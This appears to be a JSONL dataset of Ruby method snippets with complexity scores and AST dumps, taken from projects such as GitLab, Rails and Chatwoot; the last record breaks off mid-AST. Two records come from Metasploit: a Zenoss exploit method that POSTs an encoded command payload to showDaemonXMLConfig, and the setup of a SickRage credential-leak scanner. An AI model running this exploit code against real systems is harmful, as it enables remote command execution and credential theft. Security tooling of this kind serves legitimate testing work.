{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":231,"raw_source":"def create_assignee_note(merge_request, old_assignees)\n      SystemNoteService.change_issuable_assignees(\n        merge_request, merge_request.project, current_user, old_assignees)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_assignee_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"old_assignees\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"change_issuable_assignees\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]}]}","id":"9d430a4b-bc4e-449f-86f0-4b7cafa6df06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":226,"raw_source":"def realtime_changes_path\n    public_send(\"realtime_changes_import_#{provider_name}_path\", format: :json) # rubocop:disable GitlabSecurity/PublicSend\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"realtime_changes_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"realtime_changes_import_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider_name\"]}]},{\"type\":\"str\",\"children\":[\"_path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}","id":"82749136-f0c1-4fe6-9dbc-e3fd5e853ad4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb","start_line":85,"raw_source":"def exploit\n    username = datastore['USERNAME']\n    password = datastore['PASSWORD']\n    command = URI::DEFAULT_PARSER.escape(payload.encoded) + \"%26\"\n    postdata = \"__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}\"\n\n    # send payload\n    print_status(\"Sending payload to Zenoss (#{command.length.to_s} bytes)\")\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => \"/zport/About/showDaemonXMLConfig\",\n        'data' => \"#{postdata}\",\n      })\n      if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/\n        print_error(\"Authentication failed. Incorrect username/password.\")\n        return\n      end\n      print_good(\"Sent payload successfully\")\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      print_error(\"Connection failed\")\n    rescue\n      print_error(\"Sending payload failed\")\n    end\n\n    handler\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"DEFAULT_PARSER\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"%26\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"postdata\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"__ac_name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"&__ac_password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"&daemon=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload to Zenoss (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/zport/About/showDaemonXMLConfig\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postdata\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Bobo-Exception-Type\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unauthorized$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Authentication failed. Incorrect username/password.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Sent payload successfully\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Sending payload failed\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"426304f1-4800-40e9-8e33-bf147b2f3fb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/work_items/process_project_transfer_events_worker.rb","start_line":14,"raw_source":"def self.handles_event?(event)\n      Project.exists?(event.data[:project_id]) # rubocop: disable CodeReuse/ActiveRecord -- no need to initialize an object to find the Project\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"handles_event?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}","id":"d0281340-128d-4a08-92a5-0f997c813266"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":212,"raw_source":"def test_param_key\n    assert_equal \"post\", @model_name.param_key\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_param_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"param_key\"]}]}]}","id":"f53e8f8c-c79c-415e-bb0d-007804a9d64b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1108,"raw_source":"def self_and_downstreams\n      object_hierarchy.base_and_descendants\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"self_and_downstreams\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_hierarchy\"]},\"base_and_descendants\"]}]}","id":"8ece83d2-76da-444c-9f0f-4262a090b322"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/stream_event_loop.rb","start_line":87,"raw_source":"def run\n          loop do\n            if @stopping\n              @nio.close\n              break\n            end\n\n            until @todo.empty?\n              @todo.pop(true).call\n            end\n\n            next unless monitors = @nio.select\n\n            monitors.each do |monitor|\n              io = monitor.io\n              stream = monitor.value\n\n              begin\n                if monitor.writable?\n                  if stream.flush_write_buffer\n                    monitor.interests = :r\n                  end\n                  next unless monitor.readable?\n                end\n\n                incoming = io.read_nonblock(4096, exception: false)\n                case incoming\n                when :wait_readable\n                  next\n                when nil\n                  stream.close\n                else\n                  stream.receive incoming\n                end\n              rescue\n                # We expect one of EOFError or Errno::ECONNRESET in normal operation (when the\n                # client goes away). But if anything else goes wrong, this is still the best way\n                # to handle it.\n                begin\n                  stream.close\n                rescue\n                  @nio.deregister io\n                  @map.delete io\n                end\n              end\n            end\n          end\n        end","complexity_score":53.65,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stopping\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nio\"]},\"close\"]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@todo\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@todo\"]},\"pop\",{\"type\":\"true\",\"children\":[]}]},\"call\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"monitors\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nio\"]},\"select\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"monitor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"io\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitor\"]},\"io\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitor\"]},\"value\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitor\"]},\"writable?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"flush_write_buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitor\"]},\"interests=\",{\"type\":\"sym\",\"children\":[\"r\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitor\"]},\"readable?\"]},null,{\"type\":\"next\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"incoming\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read_nonblock\",{\"type\":\"int\",\"children\":[4096]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incoming\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_readable\"]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"receive\",{\"type\":\"lvar\",\"children\":[\"incoming\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nio\"]},\"deregister\",{\"type\":\"lvar\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]}]},null]}]}]},null]}]}]}]}]}]}]}","id":"4b4d0cc2-b2a3-4f3c-b759-52174465ac1d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailboxes/imap/imap_mailbox.rb","start_line":106,"raw_source":"def identify_contact_name\n    processed_mail.sender_name || processed_mail.from.first.split('@').first\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"identify_contact_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_mail\"]},\"sender_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_mail\"]},\"from\"]},\"first\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"first\"]}]}]}","id":"83a3dbf2-5d60-47dc-b98e-62c5b9753bff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/background_migrations_controller.rb","start_line":11,"raw_source":"def index\n      @relations_by_tab = {\n        'queued' => batched_migration_class.queued.queue_order,\n        'finalizing' => batched_migration_class.finalizing.queue_order,\n        'failed' => batched_migration_class.with_status(:failed).queue_order,\n        'finished' => batched_migration_class.with_status(:finished).queue_order.reverse_order\n      }\n\n      @current_tab = @relations_by_tab.key?(safe_params[:tab]) ? safe_params[:tab] : 'queued'\n      @migrations = @relations_by_tab[@current_tab].page(pagination_params[:page])\n      @successful_rows_counts = batched_migration_class.successful_rows_counts(@migrations.map(&:id))\n      @databases = Gitlab::Database.db_config_names(with_schema: :gitlab_shared)\n    end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@relations_by_tab\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queued\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_class\"]},\"queued\"]},\"queue_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"finalizing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_class\"]},\"finalizing\"]},\"queue_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_class\"]},\"with_status\",{\"type\":\"sym\",\"children\":[\"failed\"]}]},\"queue_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"finished\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_class\"]},\"with_status\",{\"type\":\"sym\",\"children\":[\"finished\"]}]},\"queue_order\"]},\"reverse_order\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_tab\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relations_by_tab\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tab\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tab\"]}]},{\"type\":\"str\",\"children\":[\"queued\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@migrations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relations_by_tab\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@current_tab\"]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@successful_rows_counts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_class\"]},\"successful_rows_counts\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@migrations\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@databases\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_names\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_schema\"]},{\"type\":\"sym\",\"children\":[\"gitlab_shared\"]}]}]}]}]}]}]}","id":"187d58d0-a7f8-4a29-a3a2-29341b828773"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/plugin/not_supported_error.rb","start_line":14,"raw_source":"def message\n        if @unsupported_plugins.one?\n          about = @unsupported_plugins.first.about\n\n          \"#{about.name} #{about.version} is not a plugin supported by RuboCop engine.\"\n        else\n          unsupported_plugin_names = @unsupported_plugins.map do |plugin|\n            \"#{plugin.about.name} #{plugin.about.version}\"\n          end.join(', ')\n\n          \"#{unsupported_plugin_names} are not plugins supported by RuboCop engine.\"\n        end\n      end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unsupported_plugins\"]},\"one?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"about\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unsupported_plugins\"]},\"first\"]},\"about\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"about\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"about\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not a plugin supported by RuboCop engine.\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unsupported_plugin_names\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unsupported_plugins\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"about\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"about\"]},\"version\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unsupported_plugin_names\"]}]},{\"type\":\"str\",\"children\":[\" are not plugins supported by RuboCop engine.\"]}]}]}]}]}","id":"8aeb3f19-c139-490c-96c5-868e9817e70a"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/store_credits_controller.rb","start_line":67,"raw_source":"def permitted_store_credit_params\n        params.require(:store_credit).permit(permitted_store_credit_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_store_credit_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"store_credit\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_store_credit_attributes\"]}]}]}","id":"660f1c55-2522-4f06-9335-321bd3a4d6dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder_quarters.rb","start_line":66,"raw_source":"def day_in_quarter(date)\n      date.yday - date.beginning_of_quarter.yday + 1\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"day_in_quarter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"yday\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"beginning_of_quarter\"]},\"yday\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"995dc767-ceab-49c2-85cd-b806a6b288bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/connection_url_resolver.rb","start_line":82,"raw_source":"def resolved_adapter\n          adapter = uri.scheme && @uri.scheme.tr(\"-\", \"_\")\n          if adapter && ActiveRecord.protocol_adapters[adapter]\n            adapter = ActiveRecord.protocol_adapters[adapter]\n          end\n          adapter\n        end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolved_adapter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adapter\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"scheme\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uri\"]},\"scheme\"]},\"tr\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"protocol_adapters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"protocol_adapters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]}","id":"6c8627c1-20c4-4e90-9fb8-f4607c626358"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":171,"raw_source":"def contains_variable?(value)\n            ExpandVariables::VARIABLES_REGEXP.match?(value.to_s)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"contains_variable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExpandVariables\"]},\"VARIABLES_REGEXP\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}","id":"0e91c045-94e7-473c-b761-70440cd62771"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_adapter/ar_dba.rb","start_line":22,"raw_source":"def client_connections\n    select(<<-SQL, \"Client Connections\").to_a\n                  SELECT client_addr   AS client_address\n                       , datname       AS database\n                       , pid           AS spid\n                       , wait_event_type\n                       , wait_event\n                       , query\n                    FROM pg_stat_activity\n                   ORDER BY 1, 2\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"client_connections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"                  SELECT client_addr   AS client_address\\n\"]},{\"type\":\"str\",\"children\":[\"                       , datname       AS database\\n\"]},{\"type\":\"str\",\"children\":[\"                       , pid           AS spid\\n\"]},{\"type\":\"str\",\"children\":[\"                       , wait_event_type\\n\"]},{\"type\":\"str\",\"children\":[\"                       , wait_event\\n\"]},{\"type\":\"str\",\"children\":[\"                       , query\\n\"]},{\"type\":\"str\",\"children\":[\"                    FROM pg_stat_activity\\n\"]},{\"type\":\"str\",\"children\":[\"                   ORDER BY 1, 2\\n\"]}]},{\"type\":\"str\",\"children\":[\"Client Connections\"]}]},\"to_a\"]}]}","id":"2b313959-f5fb-4e09-85ee-44d29054123c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/http_sickrage_password_leak.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HTTP SickRage Password Leak',\n        'Description' => %q{\n          SickRage < v2018-09-03 allows an attacker to view a user's saved Github credentials in HTTP\n          responses unless the user has set login information for SickRage.\n\n          By default, SickRage does not require login information for the installation.\n        },\n        'Author' => [\n          'Sven Fassbender', # EDB POC\n          'Shelby Pace' # Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2018-9160'],\n          ['EDB', '44545']\n        ],\n        'DisclosureDate' => '2018-03-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Optional path that gets prepended to the default paths to be searched', '/']),\n        Opt::RPORT(8081)\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTP SickRage Password Leak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          SickRage < v2018-09-03 allows an attacker to view a user's saved Github credentials in HTTP\\n\"]},{\"type\":\"str\",\"children\":[\"          responses unless the user has set login information for 